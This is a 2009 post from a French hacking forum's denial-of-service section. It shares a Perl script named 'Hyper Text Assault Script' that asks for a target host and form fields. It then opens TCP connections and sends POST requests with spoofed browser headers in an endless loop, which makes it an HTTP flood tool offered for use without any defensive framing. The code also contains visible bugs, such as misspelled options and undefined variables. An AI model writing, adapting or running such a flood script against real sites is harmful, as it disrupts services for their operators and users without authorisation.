Dark Angel Index du Forum
Dark Angel
Hacking and Reverse
 
Dark Angel Index du ForumFAQRechercherS’enregistrerConnexion

:: Hyper Text Assault Script ::

 
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS
Sujet précédent :: Sujet suivant  
Auteur Message
Karl
Membre
Membre

Hors ligne

Inscrit le: 23 Nov 2009
Messages: 108

MessagePosté le: Jeu 3 Déc - 10:58 (2009)    Sujet du message: Hyper Text Assault Script Répondre en citant

#!usr/bin/perl
#please dont edit this without including this.
#HTAS project --> Xer0X
use IO::Socket::INET;
print "Welcome to the Hyper Text Assault Script, or HTAS v1.0b";
while (!$ARGV[0]) {
&usage; #change to usage subroutine
}
$x=1;
$gz00=1;
$Host = "$ARGV[0]";
$Port = 80;

print "\n Please enter...\n";
print "\n Path: (NOT SITE!):";
$url = <STDIN>;
chop($url);
print "First Form Name:";
$f1n = <STDIN>;
chop($f1n);
print "\n First Form Value:";
$f1v = <STDIN>;
chop($f1v);
print "\n amount of forms left:";
$amt = <STDIN>;
&aform(amt);
print "\n";
$PostGet = '';

###Subroutines
sub usage { #explanation of HTAS usage
print "Usage{\n";
print "Modules used:\n";
print "IO::Socket::INET\n";
print "-"x 10 . "\n";
print "htas.pl <host>\n";
print "Testing connection...\n";
my $sock = IO::Socket::INET->new( PeerAddr => 'google.com', #yes i know not needed
PeerPort => 80,
Prot => 'tcp',
)|| print "\nConnection Nonfunctional or website down.\n";
print "Connection to test website (Google.com:80) successful.\n";
print "Connection verified.\n" . ":>"x 40 . "\n";
print "Hyper Text Assault Script version 1.0\n";
print "This monster created by Xer0X\n}\n";
exit;
}

sub aform { #form creation subroutine
$gzo = 0; #gzo = ground zer0
while ($gzo != $amt) {
print "Form " . $gzo . " name:";
$bfn=<STDIN>;
chop($bfn);
$bfn=$bfn . $gzo;
chop($bfn);
print "Form " . $gzo . " value:";
$bfv = <STDIN>;
chop($bfv);
$bfv = $bfv . $gzo;
chop($bfv);
$PostGet = "$PostGet" . "&" . "$bfn" . "=" . "$bfv";
$gzo++;
}
&destroy;
}

sub printget {
print "\n\n\n$PostGet";
}

sub destroy { #let us begin Very Happy

while($x) {
print "$gz00";
$gz00++;
my $sock = IO::Socket::INET->new( PeerAddr => "$Host",
PeerPort => 80,
Proto => "tcp",
);
&destroy unless $sock;
print $sock "POST $url?$f1n=$f1v";
print $sock "Host: $host\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; sp-ME; rv:1.7.8) Gecko/19500101 Firefox/0.0.beta3\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$PostGet\n";
close($sock);
}
}


Revenir en haut
Publicité






MessagePosté le: Jeu 3 Déc - 10:58 (2009)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS Toutes les heures sont au format GMT + 1 Heure
Page 1 sur 1

 
Sauter vers:  

Index | Panneau d’administration | créer forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
HalloweenOclock © theme by larme d'ange 2006
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com